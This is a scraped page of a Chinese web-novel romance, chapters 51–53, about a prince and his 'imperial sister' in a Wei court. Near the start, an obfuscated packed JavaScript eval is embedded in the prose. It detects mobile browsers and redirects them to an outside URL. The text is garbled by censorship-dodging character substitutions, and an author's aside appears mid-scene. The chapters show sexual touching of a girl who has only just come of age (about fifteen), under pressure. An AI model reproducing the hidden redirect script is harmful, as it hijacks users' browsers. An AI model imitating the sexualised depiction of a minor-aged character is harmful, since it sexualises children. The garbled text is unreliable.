兰陵一族的男子在那方面,可谓是天赋异禀,相应的,自然也就对男女之事格外热衷,歧国灭国不久后,魏朝初立,当时萧元乾的姐姐,也就是魏朝的长公主殿下,还搜罗了不少兰陵族的男子,放在身边伺候。 兰陵族的男子,容貌俊美昳丽,又在某些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14800831|158405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方面天赋惊人,远非魏人男子可比,自然是作为面首的不二人选。 长公主当时对那两名兰陵族男子颇为迷恋,一度连驸马也不愿立了。 长公主如此,一些作风大胆、不惧名声的贵女也纷纷效仿。 而凡是与兰陵男子欢好过的贵女,无不为之着迷,魏朝女性地位很高,贵女的青睐,也让那些得宠的兰陵男子渐渐有了更多的权利,能够自由出入宫禁府衙。 一开始,所有人都没有把他们放在眼里,兰陵族人如此行径,以色侍人,这岂是堂堂男儿所该做的? 魏人男子对此嗤之以鼻。 直到一场春宴,许多参与过灭歧的功臣都在宴席之中,在一旁奏乐的是兰陵族女子,表演舞剑的则是长公主的两个面首,长公主身份贵重,又宠幸那两名兰陵族男子,一时起意,让两名面首去席间舞剑助兴也是有的。 众人自然也不敢有异议。 丝竹管弦之声声声悦耳,兰陵族人,无论男女,尽皆绝色,那些大臣自然盯着那些兰陵族女子,潋滟生色的丹凤眼,妩媚动人,低眉抬眼间,端的是勾魂摄魄。 这样的美色,实在很难不令人心猿意马。 只是盯得久了,不由得生出一种奇异的晕眩。 等再回过神来时,眼前却闪过一道白光,那是……刀刃的寒光! 兰陵男子用来舞剑的兵刃,早已被视为供他们取乐的器具,此刻却忽然回归了它最原始的属性,刺入他们的胸口。 这让所有人都猝不及防。 血雾四溅,席上的杯箸碎裂一地,酒至半酣的大臣被鲜血淋了个清醒,连忙仓惶地起身自卫。 前一刻还歌舞升平的春宴,转瞬刀光剑影。 那场刺杀,死了不少人,云霄阁三十六功臣中,就有三位死于其中。 他们忘了兰陵族人不光容貌出挑,是最适合拿来取乐的对象,同时身手也十分出众,亦能上阵杀敌。 更不用说,他们还有一副足以迷惑众生的皮相。 兰陵一族,的确迷人,却也有着致命的危险。 这也是兰陵族人后来几乎被魏人屠戮殆尽的原因。 魏人发现,只要是兰陵族人,无论男女,几乎没有一个不想报灭族之仇,图谋复国。 且其无论身手、谋略,都不可小觑,甚至连蛰伏隐忍的本事,也教人佩服。 留他们在这世上,始终是个祸患。 魏元帝也险些死在这场刺杀中,当时江沉鱼和长公主分别坐在魏元帝的两侧,那名兰陵族男子,也就是长公主的面首司恒,剑尖堪堪就要刺穿萧元乾的咽喉,危急时刻,是长公主挺身而出,替他挡下了这一剑。 长公主当场殒命,临死前竟还替司恒向萧元乾求情,求他绕他一命。 这也就更坐实了兰陵族人能够迷惑人心的传闻。 萧元乾痛失长姐,痛不欲生,下令屠戮所有幸存的兰陵族人,除了江沉鱼。 江沉鱼为替族人求情不惜以死相逼,萧元乾面上应允,将其族人流放,但不久传来消息,在流放途中,其族人感染疫症而死,无一幸免。 姬乐记得江沉鱼那时大病一场,病好之后,常常会一个人坐在床边出神,目光里的恨意也越来越炽烈,也只有魏元帝来时,才会短暂地收起仇恨的神色,换上一副虚假的、虚浮着笑意的脸孔。 她回过神来,这才惊觉不知不觉间,竟想起了那么多陈年往事,那时萧彻甚至还尚未出生,而她,也不过是个几岁的孩子罢了,印象却是深刻。 倒是想远了,原不过是想到之前兰陵族男子盛行当男宠的原因,便是他们在床上天赋惊人。 相应的,他们需求也异常的大。传闻前朝的兰陵皇室,皆可一夜御数女,叫水数次。 所以在听到萧彻说出对那种事不感兴趣时,她才会那么吃惊。 但仔细想来,的确未曾见过他同哪个女子亲近,甚至连个通房都没有……那便是了,他一定是从没尝过那等销魂滋味,所以才会不感兴趣,若是尝过一次…… 50-60 第51章 第51章“怎么,吃醋啊?”…… 餍足过后,颜嘉柔没了骨头似得瘫软在萧彻的怀里,浑身上下软绵绵的,连动一下手指的力气都没有了。 她需要缓一会儿,等体内那股余韵过去之后,才能动身离开。 这个当口,她便伏靠在萧彻的怀里,与他有一搭没一搭地聊着。 余光瞥见桌案上搁置着的茶杯,她忽然想起了什么,轻哼了一声道:“这么晚了,你的姬乐姐姐还来给你送茶啊?” 萧彻靠在圈椅上,一手虚虚拢着她,闻言脖颈后仰,轻扯了唇角,要笑不笑地道:“怎么,吃醋啊?” 颜嘉柔脸颊霎时染上胭脂色,她一双手撑在他的胸膛上,仰起小脸看着他:“才没有!我只是……只是随口问问!” “又没让你不问,”萧彻笑得漫不经心,伸手掐了掐她丰盈的颊肉:“这么激动做什么,唔……好像又胖了。” 哪有女孩子乐意被人说胖的,尤其这个人还是萧彻,颜嘉柔快气死了:“你才胖了呢!你的姬乐姐姐不胖,你去喜欢她吧!” 萧彻笑了下,慢慢贴近她的耳侧,吮含着她玉白的耳垂,暧//昧道:“我就喜欢胖的……” 颜嘉柔被舔得有些痒,一边闪躲,一边仍不忘表达自己的愤怒:“哼。” 顽闹过后,她看着他,一副不太高兴的样子,认真地道:“你让她从哪里来的就回哪里去,我不喜欢她待在你身边,好不好嘛。” 萧彻看了她一眼,不知想到了什么,神情一顿,收起了玩笑神色,眼底黯淡了下来,低低地道:“我母妃已经薨逝了,你让她回哪里去。” 颜嘉柔一怔,面上有几分慌乱:“萧彻,我……对不起……” “没什么,”萧彻扣住她的后脑勺,将人往怀里按:“都过去了。” 颜嘉柔也伸手回抱住了他。 这般安慰了他一会儿后,她突然从他怀里钻了出来,眼神亮晶晶地看着他道:“我会陪着你的。” 说完像是怕自己表达不清,又鼓着脸颊轻声补了一句:“虽然贵妃她……但是我以后,会陪着你的。” 小姑娘说这话时虽然因为害羞,脸颊绯红,声音又轻,但眼神却异常坚定明亮。 萧彻有一瞬的失神,仿佛被触及到了心脏最柔软的地方,他滚动了一下喉结,捧过她的脸亲了一下,柔声道:“好。” 难得温情一刻,原该继续说些缱绻动听的情话,可萧彻眉梢一动,接下去说的却是:“不过,还是先把你和太子那笔烂账算清楚,再说吧。” 他掂起她的下巴,轻嗤道:“不然,你拿什么陪我?” 颜嘉柔支支吾吾地不说话,重新将脑袋埋进了他的怀里,当起了缩头鹌鹑。 颜嘉柔的沉默让萧彻颇感烦躁,他泄愤似得掐了一把她的 脸颊,喘了一口气道:“算了,不提这个了。”免得自寻烦恼。 今朝有酒今朝醉,能快活一时是一时,至少此时此刻,颜嘉柔是完全属于他的。 他挨着她,轻轻摩挲着她的发顶,轻声道:“我跟姬乐,没什么关系,不过是她从小看着我长大,又是我母妃身边的老人,所以我才待她比旁人亲近些,并不为别的。” 颜嘉柔怔了一下,萧彻这是,在跟她解释? 她抬起头,盯着他在灯光下异样俊美的脸,不由得伸手轻轻抚摸,忽然鬼使神差地问了句:“那我呢,你待我亲近是为什么?” 萧彻捏过她的手腕,一根一根亲吻她的手指,略一抬眉,笑得意味深长:“你说,是为什么?” 一双摄人的瞳仁中,分明饱含着深重的欲望,便那样直白露骨地看着她。 那样轻挑玩味的神情,勾人至极,分明一个字未说,却一切尽在不言中。 颜嘉柔从来不知道,一个人光眼神就可以让人脸红心跳。 一向听闻兰陵人格外重欲,尤其男子,一夜驭七女亦不在话下,可这么多年,她却从未见萧彻同哪个女子亲近过,她之前还以为他是兰陵人中的个例。 敢情他对着旁人禁//欲,有点情,都发在她身上了。 她只觉脸颊烫得厉害,生怕他又说出什么想c她之类的骚话,连忙抬手捂住了他的嘴,恨不得咬掉自己的舌头:“算了算了,你还是别说了,我……我不想知道了……” 萧彻慢条斯理地舔了一下她柔软的掌心,烫得她一下子缩回了手:“你……你干什么……” 萧彻盯着她红透的面皮,似笑非笑:“你都知道是不是?” 他下巴枕在她肩膀上,轻嗅着她颈间好闻的味道,哑声道:“那……给不给c?” 颜嘉柔吓得一下子从他的怀里站起来,结结巴巴道:“你……你再这样胡说八道,我……我不理你了……” 她虽然并不排斥跟萧彻亲密,诸如亲亲抱抱这类,但这并不代表她……她能接受萧彻对她做这种事。 这也太出格了,而且她害怕。在梦中她尚且不敢迈出最后一步,何况现实当中。 萧彻抬头看她,见小姑娘一脸紧张,不由微微挑眉:“吓着了?” 他将人重新拉回怀里,从身后抱住她,下巴搁在她的颈侧,轻轻蹭了蹭:“怕什么,你不愿意,我又不会逼你。” 颜嘉柔悄悄松了口气,嗫嚅着唇瓣道:“那……那你以后不要再说了。” 萧彻淡淡“嗯”了一声:“原本就只是开个玩笑,你还太小了,怕是承受不住,还是过几年,等你长大后再说……” “我们,来日方长,”他轻咬着她的耳廓,有些泄愤的意味:“不就是再等几年么,我等得起。” 他这话倒也出自真心,颜嘉柔的确年纪小,而他身上又有一半兰陵血脉,身下那玩意儿的确……咳,他怕他一时情难自控,她受不住,伤了她,然而落在颜嘉柔,却完全变了味道。 她觉得萧闻祈瞧不起她! 大抵真的年纪小的人,最讨厌别人说她小。 尤其从前跟萧彻不对付的时候,他也总爱拿这个说事,当下不服输的好胜心就上来了,反驳道:“我哪里小了,我已经及笄了!” “我怎么就承受不住了,你小看我!” 此话一出,空气顿时陷入了诡异的静默。 萧彻:“……呃?” 颜嘉柔:“……!!!” 啊啊啊!她在说什么啊!!! 这该死的好胜心! 她觉得她不如当场死掉算了!可惜地上不会平白裂开一条缝,不然她真的想一头钻进去,呜呜呜。 “或许真是我小看皇妹了,”萧彻饶有兴味地看着她,暧//昧道:“你要是想试试,也不是不可以。” 颜嘉柔立刻头摇得跟拨浪鼓似得:“不……不必了……” 说着眨了眨眼,水雾弥漫,做出一副可怜巴巴的模样:“皇兄,我还小呢……”这个时候,实在顾不上争强好胜了。 “没用的东西,”萧彻凑过去,恨恨地咬了一下她的耳垂:“那你勾我干什么?” 颜嘉柔觉得委屈:“没……没有……” 她不想继续这个话题,便又扯了开去,想起之前两人分明在说姬乐,姬乐是贵妃的旧人,便因这层关系,这人是弄不走了,但不影响她讨厌她,故意找她茬。 “哪有快就寝了,还给你送茶的,我看,分明是对你有别的心思,你以前不是也遇到过么,还不止一桩,你忘了你为什么不留年轻宫女在殿里伺候了?” “她是贵妃的旧人,那留在你宫里可以,但不能近前伺候,你以后得离她远点,不许让她近身,也不许喝她的茶,知道么?” 她觉得姬乐一定是喜欢萧彻,因为她在她眼里看到了熟悉的东西。 这种东西,她在很多人眼中都看到过,甚至不局限于人——还有那只该死的狐狸! 她不能让萧彻跟别的女人好,不然他喜欢上别人了,不喂她血了怎么办。 萧彻闻言若有所思地“哦?了一声”:“不过是我心情不好,喝了酒,她给我送来醒酒茶罢了。难道这也不行么。” “你知不知道我为什么心情不好?” “是因为,颜颜不太乖。” 他动作温柔地替她拨弄鬓间的碎发:“倘若我不能与旁的女子亲近,不能喝她递过来的茶,那皇妹戴着别的男人送的花环,又怎么说?” 颜嘉柔一怔,没想到他又会提到这个,一时有些心虚:“我……我……我们不是在说你和姬乐么,为什么又说我……” 萧彻冷嗤:“怎么你可以,我不可以?” 他捏着她的下颌,迫使她抬起头来:“别戴他送的,戴我的,我就答应你。” 颜嘉柔眨了眨眼,就……这啊? 这有什么难的?不过就是一个花环嘛,戴谁的又有什么分别。 她圈着他的脖颈,盈盈笑道:“我答应你就是啦。” 萧彻一怔,神色稍霁:“这还差不多。” 颜嘉柔亲了亲他道:“都听你的还不成么哥哥,别不高兴啦。以后我只戴哥哥送的花环,哥哥满意了么。” 萧彻一向好哄,闻言唇角高高翘起:“那我也听你的。不过,我和姬乐真没什么,我问心无愧。” 他一瞬不瞬地看着她,按过她的后颈,虔诚地印上一吻:“颜颜,我只喜欢你。” 颜嘉柔怔然地看着他,不自觉地吞咽了一口口水。 其实这个当口,在这样旖旎的氛围下,她该接一句“我也只喜欢你”的。只是这样的话,如今的她,实在说不出口。 便只能有些局促地呆在原地。 萧彻看穿了她的心思,当下也不恼,只道:“无妨,我会等你,等你愿意亲口对我说出那句话。” “不过颜颜,别让我等太久。” 第52章 第52章“我护短,小兔的尾巴才…… 虽说萧彻已经答应不让姬乐近身伺候了,但还是不妨碍颜嘉柔继续在他跟前说她坏话,不遗余力地掐灭他们有一丝好的可能。 “你虽然现在不喜欢她,可你们同住一个屋檐下,会不会日久生情呢……唔,不行,你可千万不要喜欢她,因为她可坏了,真的,她刚才还推我来着……” 她说着晃荡着两条纤细的腿:“喏,我现在脚踝还疼呢。” 她晃啊晃的,没一会儿便晃不动了。 因为一只大手忽然握住了她的右脚脚踝。 颜嘉柔一愣,期期艾艾地道:“萧……萧闻祈……” 萧彻勾唇:“不是说扭到脚了么,我看看。” 颜嘉柔颈侧耳后浮上红晕:“不……不要了……” 萧彻俯下身,轻轻在她耳畔送气:“又不c你,怕什么,” “难道,是为了所谓的名声?” “可是皇妹,我们之间,还有名声可言么?” 颜嘉柔浓睫轻颤,嗫嚅着不说话。 再回过神来时,鞋袜已除,萧彻的 大手完整地拢住她的一双玉足,正细细端详。 少女的肌肤异常雪白,脚踝纤细,十个脚趾指甲莹润,泛着淡淡的粉色,此刻正害羞地蜷缩在一起。 萧彻面色如常,手指自她的脚趾缓缓向下游走,像是在把玩一件精致的瓷器。 男人的手心带着异样的灼热,指腹轻轻摩挲过脚背娇嫩的肌肤,激起一阵细微的颤//。哩。 她咬着唇,没忍住漏出一声细碎的呻//。寅。 在大魏,女子的赤足是不能显露于人前的。 他除去她的鞋袜,便如同一件件剥开她的衣服。 她如今虽然衣衫整齐,可在萧彻面前露出赤足,却已与敕//。身//。萝//。体无异。 她羞耻极了,面上一阵阵发烫:“萧闻祈,别……” 萧彻的手指最后停在她的脚踝处。 指尖摩挲着她的一圈脚踝,他略一挑眉,漫不经心道:“不是说扭伤了么?我看,也并不见红肿淤青啊。” 颜嘉柔眼睫颤动了几下,难免有几分心虚:“谁……谁说扭伤一定会有红肿淤青的……有些伤,看着不严重,其实可疼了……啊!” 萧彻突然收紧力道,将她的脚踝禁锢于鼓掌之间,她微微吃痛,雪腮鼓起,委屈地噘唇,抬头含嗔带怨地看了他一眼:“哥哥,你干嘛。” 这一眼差点没把他看y,他眸色一暗,俯身狠狠地吻住了她,无处泄火,亲了好一会才肯放人。 他将下巴枕在她的颈侧,喘着粗气:“你根本没扭伤,小骗子,还敢骗我?” 颜嘉柔原本被他亲得晕晕乎乎,在听到这句话后却一下子清醒了:“我我……你……” “我什么?”萧彻带有惩罚意味地轻咬了一下她的耳廓:“别以为我不知道,姬乐她根本没推你。” 颜嘉柔怔住了,转头不可置信地看着他:“你……你都知道?” 萧彻失笑,许是觉得她惊呆的模样实在可爱,没忍住掐了一把她肉乎乎的脸颊:“不然呢?” “你以为你演技有多好?” “颜颜,”他揉了揉她的脑袋:“你可从小就不大聪明。” “姬乐根本连你的衣服都没碰到,又怎么推你?” “她的性子一向沉稳,最懂尊卑,你好歹是个公主,她怎敢推你? 颜嘉柔越听越生气,忍不住推了他一把道:“她沉稳识大体,我愚蠢又恶毒,你干嘛来喜欢我,你去喜欢她好了!” 又来了…… 萧彻有些头疼;“我不过就事论事,你又吃的哪门子醋?” 他柔声哄着她:“好了,就算你愚蠢又恶毒,我也只喜欢你,开心了?” “只是你为什么要诬陷她呢,还对我说谎,方才在外人面前也就罢了,如今只你我二人,怎么还不说实话,颜颜,我只是不想你对我说谎,这可不是个好习惯。” “我……”颜嘉柔低头,手指绞弄在一起,低低地道:“我……我只是不喜欢她……她不让我见你,她还欺负我……” 其实她也觉得她做得不对,她怎么可以诬陷别人,这是坏女人才会做的,可当时她就是感觉她故意挪开了身子,害她险些扑空摔倒,可却抓不到证据,她想给她个教训,所以才撒谎的…… 这也……不算诬陷吧? “反正……反正她不是个好人,我想让你知道她的真面目,离她远一点儿,又……又有什么错……” 萧彻看着她,神情宠溺中又透着一丝无奈,叹息了一声道:“你什么都不用做,我也不会和她走近。” 他捧过她的脸,喉结耸动:“颜颜,我是你的,永远都是你一个人的。” “你到底,在紧张什么?” 颜嘉柔看着他,心尖莫名颤了一下,只觉这话格外熨帖,心情也跟着好了不少,便服软道:“好嘛,那我以后……不说谎就是了。” 说着想起一事,忍不住问道:“你……你既然知道我在说谎,当时为什么不拆穿,还……还帮着我惩戒了她?” 萧彻挑眉:“这不正是你想要的么?” 他道:“她没看顾好你,我出来时眼见着你就要摔倒,她怎么看人的?本来就该罚。” “何况,即便知道你在说谎,当着外人的面,我又怎会拆穿,这岂不是打你的脸?” 他掐着她的颊肉轻轻晃了晃,轻笑道:“我自然,是要护短的。” 颜嘉柔红唇微启,眨了眨眼,忍不住问道:“她……她是贵妃身边的老人,又从小看着你长大,如今又在你殿内当差……她不是短的那一个么?” “自然不是,”萧彻挠着她的下巴,笑得玩味:“小兔的尾巴才最短,不是么?” “什么嘛。”她还以为他会说,她要比姬乐跟他亲近很多呢,所以才最“短”。 结果他说的是什么……谁要跟他开这样的玩笑,真讨厌。 她赌气地扭过脸:“我才没有尾巴!” “哦?”萧彻眼底蓄了笑意:“是么,那我可要摸摸看。” 她并没有多想,脱口而出道:“你摸好啦!”反正她又没有尾巴,她才不怕。 萧彻神情一滞,似乎有些意外。 他滚动了一下喉结,眸底掠过一道暗色:“既然皇妹盛情邀约,那我就——却之不恭了。” 一边说着,慢慢地将手…… 颜嘉柔浑然不觉,直到感受到萧彻的手……,才意识到事情的严重性。 她瞬间僵直了身子,一动也不敢动。 萧彻感受着掌心的浑全删,愉悦地弯起唇角:“唔,真的没有尾巴……” 颜嘉柔软倒在他怀里,眼尾发红,颤声道:“好……好了么……” 萧彻原本就不打算做什么,正要收手,但余光瞥见她如今这副样子,不知怎么,口干得厉害,勾起了他体内的凌虐欲。 忍不住就想多逗她一会儿,放在她裙下的手便有些流连忘返了。 颜嘉柔咬着唇,轻声唤他:“萧彻……哥哥……” 娇滴滴的嗓音透着点难耐,仿佛能掐出水来。 萧彻心神一乱,底下便失了分寸。 一不小心,按到了不知是哪一处。 怀里的娇躯却忽然颤了一下,脚背巩起,圆润淡粉的脚趾全都塴//。值了。 在他怀里发出猫儿叫似得一声。 尾音发着颤,媚到了骨子里,勾人至极。 萧彻后知后觉地反应过来发生了什么,唇边便浮上了点暧//。昧的笑。 指尖还残留着失//。滑鞣//。的触感,虽然颇为留恋,但到底怕玩过儿了火不好收场,只得不情不愿地收手。 不过他心肝的身子,倒比他想象得敏//。咁。 不及探//。汝,便急不可耐地咬了上来。 实在销//。珲。 他正打算言语上揶揄她几句,一低头,却见她面色漅//。红,红唇微张,眼神寰//。散,微微喘//。息着。 注意到他的视线,眼神慢慢聚焦。 却只茫然无措地看着他,似乎完全不知道刚才发生了什么。 沾满青//。裕的一张脸,眼神却是那般不谙世事的纯真无辜。 又欲又纯。 这般反差,越发勾…… 他便无端生了恼恨,全删了我真服了,怎么还锁:“说了叫你别撩拨我,不知死活。信不信我现在就。哭你?” 颜嘉柔瑟缩了一下身子,又害怕又委屈:明明是他把手檀汝全删萝輑……,害她有了那样……,到底是谁撩拨谁啊…… 她便埋在他怀里不说话,片刻后,感觉身子缓过来了,便闷闷地道:“我要走了。” 萧彻正靠在圈椅上调匀呼吸,清心静神,闻言只“嗯”了一声。 颜嘉柔便颤颤地从他怀里起身,她低头扫了一眼,裙子都皱了…… 她皱着一张小脸,正要低头整理衣裙,手腕却被人握住了。 萧彻直起身,看了她一眼,嗓音微哑:“我来。” 颜嘉柔娇生惯养,习惯了被人伺候,闻言便乖乖地任他摆弄。 萧彻便从上到下地替她细致地整理了一番,直到能见人了,却也不立刻松手,指腹有一下没一下地摩挲着细白的手腕,觑她:“就这么走了啊?” 颜嘉柔不明所以 ,试探地道:“你……你还有事么?” 萧彻扯了下唇角:“也没什么,想拿点报酬。” 报酬?颜嘉柔蹙眉看着他:这一晚上,亲得还不够多么? 但也没多想,凑过去正要吻他,萧彻却忽然道:“脸上亲腻了,”他道:“我要,换个地方。” “换个地方?”颜嘉柔愣了下:“你想……哪里?” 萧彻唇边噙着笑,目光慢慢下移,落在了她饱满…… 大魏民风开放,女子多穿齐胸襦裙,若遇丰盈者,难免雪…… 颜嘉柔脸腾的一下红了。 萧彻想亲她那里……可是……可是…… 她并不是很情愿,但又想今晚萧彻已为她让步许多,好不容易在萧珏的事上将他哄好,她若是再拒绝他这个,万一惹恼了他,恐往后取血不顺…… 反正只是一块肉罢了,亲哪里不是亲,又算得了什么……何况萧彻方才还看过她的一双赤足了,她在他哪里,还讲什么男女之防? 当下便破罐子破摔,心一横,便颤颤地往前走了一步,挺胸送了上去,闭上眼,一副视死如归的样子。 萧彻勾唇,倾身吻了上去。 预料中的吻x之举却并没有到来,反倒是眼皮触到一片温热。 她缓缓地睁开了眼,却正好对上萧彻玩味的视线:“皇妹以为,我想亲哪里?” 他笑了下,透着几分散漫—— “我不过,是想亲你的眼睛罢了。” 第53章 第53章“回去记得想我。”…… 颜嘉柔一怔,一张面皮涨得通红,恼羞成怒道:“你……你戏弄我!你根本不是……不是想亲我胸,那你看那里干什么……” 原本是气势汹汹的质问,可话说到后面,声音却越来越小…… 她到底在说什么啊。 ……明明是因为上当受骗才会这般质问他,怎么话说出来,听起来……倒好像很遗憾似得…… 还不如不问…… “戏弄?” 萧彻似笑非笑:“皇妹的言下之意,是在怪我了?” 他一把揽过她纤细的腰肢,将人按坐在他的腿上:“那我也可以,不戏弄你。” “不亲就不给看了?”他的气息轻拂在她的颈侧,有种灼人的烫:“可皇妹生来,就是给我看的。” 身后贴着衮//。烫的胸膛,鼻息间萦绕的都是萧彻的气息,丝丝缕缕地缠绕着她,她挣脱不了,便只能晕晕乎乎地随之沉溺。 他的温度透过薄透的衣衫,源源不断地渡给她,身体深处,也渐渐漫上一股难言的热意。 分不清,是谁更烫些。 颜嘉柔微微遄//。系着,胸月甫上下起伏着。 忽然她娇呼一声,一动都不敢动了。 萧彻的手掌,正完全拢住她的…… 他的手很大,饶是如此,也不过堪堪盈握。 雪白细腻的汝禸从指缝中写出,颤颤欲滴。 萧彻轻笑一声,附在她耳边,语气暧//昧:“好大……” 颜嘉柔脑袋轰的一声,慢慢转过头来看他,白腻的额头上浮着一层薄汗,红唇微张,仍是不断椯喜着,眼神却有些涣散,像是并不清楚究竟发生了什么。 萧彻盯着她,这才慢慢笑了:“我是说皇妹的眼睛。” —— 他到底还是放开了她。 因为颜嘉柔哭了。 眼泪像断了线的珠子,大颗大颗地往下砸。 萧彻今晚第一次显现出无措:“怎么了心肝?” 他温柔地吻去她颊边的泪水:“好了好了,我不碰你了,好不好?” 他以为颜嘉柔愿意让她亲凶,应该也不介意他用手握住。 谁知道她忽然就哭了。 颜嘉柔止不住地抽噎,她就是觉得委屈,觉得羞耻。 今晚发生的一切,都太超出她可接受的范围之内了。 其实她心中还是只想跟萧彻像兄妹那般的亲亲抱抱,可他今天看了她的赤足,还差点亲了她的凶……她原想着破罐破摔,也不顾忌什么名声了,加上之前与萧珏见面惹他生气,而她毕竟有求于他,便为了讨好他也都一一忍耐了。 可他为什么……还要那样欺负她呢。 分明是故意的……一次,两次,明明是打她凶的主意,却推说是眼睛,让她傻乎乎地误会,观察她脸红羞耻的模样…… 他还握住她的汝鞣镍,他都没有问过她就这样…… 之前将手探入她罗裙底下也是……可那毕竟是她傻乎乎地让他去摸她尾巴,后面他失了分寸,她也察觉他不是故意的,毕竟手上也没长眼睛,便没顾得上跟他计较了,可这回分明不是这样的…… 他是不是觉得这样很好玩?将她玩弄于鼓掌之间,就像一个玩物一样。 她泪眼朦胧地看着他:“你是不是根本不喜欢我……我们从前不和,你想报复我,是不是?” “你……你故意这样,让我难堪……我也是从小熟读礼法,知道寡廉鲜耻的,可如今却……你诱逼得我像妓子一般,丑态百出,你是不是根本就不在乎我?所以觉得无所谓,萧闻祈,拿我取乐,很好玩儿吗?” 一想到有这种可能性,她便觉得难过得快要死掉了,眼泪控制不住地往下掉。 “对不起颜颜,是因为你实在是太可爱了,我一看到你就忍不住,所以才会想逗你,欺负你……” “我怎么可能不喜欢你,不在乎你呢。”萧彻捧过她的脸,与她额头相抵,轻轻叹息了一声:“颜颜,你都不知道,我有多喜欢你。” 颜嘉柔抽噎了一下:“你……你有多喜欢我?” 萧彻愣了下:“什么?” 颜嘉柔有些急切地抓住他的手腕:“你不是说你喜欢我么,有多喜欢,你说……我要听……你是不是骗我,我一听就听出来了!” 萧彻失笑,反握住她白皙纤细的手腕,好脾气地道:“心肝,这要怎么说?” “你心里怎么想的,说出来就是了!还是说,你根本就是再骗我,所以无话可说!” 萧彻颇有些头疼,绞尽脑汁想了好一会儿,最后只能道:“我一看到你就忍不住想靠近你,想你看我,想你理我……” 他喉结轻滚,靠近她耳侧,压低了声音道:“你一亲我,我就。了,我做梦都想。你,我只对你这样,你说,我有多喜欢你?” 颜嘉柔慢慢睁圆了眼眸,绯色自脸颊一路蔓延至雪白的耳颈,她不可思议地看着他。 她原以为萧彻会说些缱绻动听的情话,再不济,拈几句酸诗也行,她读的书自然没有他多,但也知道“昭昭云端月,此意寄昭昭”这样的诗句。 谁知道他一开口,又是骚话连篇,她羞恼道:“你……你怎么又乱说……” “我怎么就乱说了?” 他笑得肆意:“颜颜,我说的,可都是真心话。” 他越说,她的脸就越红,抬眸瞪了他一眼。 萧彻轻笑:“不是,你让我说的么?” “怎么,难道是我说的不够多,你仍是不信?”他执起她的手,慢条斯理地把玩着她的手指:“那不然,我再多说点,譬如,梦中的细节……” “别,别说了……”颜嘉柔忙道:“我信……我信你就是了……” 萧彻笑了。 “那还生气么?”他忍不住轻啄了一下她白嫩的手指。 颜嘉柔稀里糊涂地,跟着摇了摇头。 萧彻摸了摸她的脸:“乖了。” 话说到这里,也没办法再继续问了,这事就这样轻而易举地揭过,虽然她心里仍有些疑虑。 她抽回了自己的手,几乎每根手指都被他亲过了。 她低下头,闷闷地道:“我要走了。”说完又快速地补了一句:“这回我真的要走了。” 言下之意,就是让萧彻别再招她了,快些放她回去。 “你去啊。”萧彻笑了:“我又没扣着你。” 颜嘉柔抿了抿唇,颤巍巍地从他怀里起身,转身正要离开之际,不防手臂被人一拽,将她整个身 子带得转了过来。 一转身,对上萧彻不太痛快的眼神,蹙着眉,问她: “就这么走啊,连一句‘回见’都不说?” 颜嘉柔:“…………” 不是说让她走了么?她都不明白,这样一句废话有什么值得说的? 倒像是……在故意拖延时间。 她都没脾气了,耐着性子朝他福了福身:“三哥哥,回见。” 萧彻也不说话,就那么看着她。 颜嘉柔被他看得有几分不耐,忍不住催促道:“我可以走了么?” 萧彻的手搁置在桌案上,修长的手指微蜷,闻言嗤了一声。 颜嘉柔叹了口气,俯身捧着他的脸,对着他的嘴唇亲了一下,水润的眸子盯着他:“现在,可以了么?” 萧彻慢慢弯起唇角,神情有几分愉悦:“这还差不多。” “去吧,”他抚摸着她白腻的脸颊,嗓音喑哑:“回去记得想我。” 颜嘉柔得了他的许可,如释重负一般,立刻转身一路向外小跑。 不过眨眼的功夫,人就没影了。 萧彻回过神来,忍不住突地逸出一声轻笑。 “跑得比兔子还快。”怪不得是小兔。 难不成,他还会吃了她么? 他有些回味地摸了一下嘴唇,轻骂了句:“小没良心的。” —— 三日后是魏元帝的生辰,宫中大摆筵席,教坊司备下九支乐曲,宴会开始后,丝竹管弦之声不绝于耳。 席间舞姬跳舞助兴,百官朝贺,好不热闹。 天子生辰,皇子公主自然要一同赴宴。 百官以四品为界,四品以上官员得以坐殿内,以品阶依次落座,皇子则按序坐在百官之前。 照理太子是嫡长子,应当坐在魏元帝的左首下方。 只不过因为魏元帝独宠江沉鱼,爱屋及乌,自然对萧彻格外偏宠,也因此,萧彻一贯坐在他的左首下方——那个原该是萧珏坐的位置。 可今日,萧珏自然依旧坐不成那个位子,却也不是萧彻坐。 ——魏元帝竟指名让萧衍坐。 萧衍一怔,颇有些受宠若惊,惊喜的神色掩都掩不住,却依旧推辞道:“父皇……这……这只怕于礼不合吧?” “让你坐,你就坐。” 魏元帝道:“你最近主持编写的《舆地志》很好,建置沿革,山岳地形都一一涵盖了,朝中民间的反响也很不错,都说这于后世而言,必然是十分珍贵的史料,影响深远,算是一项卓越的功绩,这是好事,朕待会有些问题要问你,你坐在朕旁边,倒方便些。” 此言一出,萧珏的脸色瞬间沉了下来,于他而言,萧彻坐在那个原本应该属于他的位置固然令人作呕,可这么多年了,一则他早已习惯,二则父皇再怎么偏宠,因着他血统不纯,身上有一半卑贱的兰陵血脉,就算坐在那个位子上,也对他造成不了什么威胁,只不过是恶心他罢了。 可萧衍则完全不同。 此时底下的百官亦是议论纷纷。 须知这《舆地志》说是以萧衍的名义编撰的,但其中集结文士,考据求证,都是萧彻亲力亲为,但魏元帝言下之意,似乎要把功绩尽数揽到萧衍头上。 虽说萧彻最近与萧衍走得极近,已是明晃晃的二皇子党了,他的功绩便是萧衍的功绩,可今日魏元帝的这一番言行,还是让众人大感意外。 毕竟从前他虽然宠爱萧衍,但因贵妃之故,他最宠爱的皇子还是萧彻。 他对萧彻的宠爱之甚,是其他两位皇子无法比拟的。 怎么如今却完全变了一副样子? 不光让萧衍坐那原本一贯是萧彻坐的位子,如今连他的功绩也一并全给了萧衍,竟连他的名字也完全没有提及。 这前后的态度,未变相差的太大。 难不成是贵妃死后,连带着萧彻也失宠了? 多半便是如此了。 那现在是个什么局势? 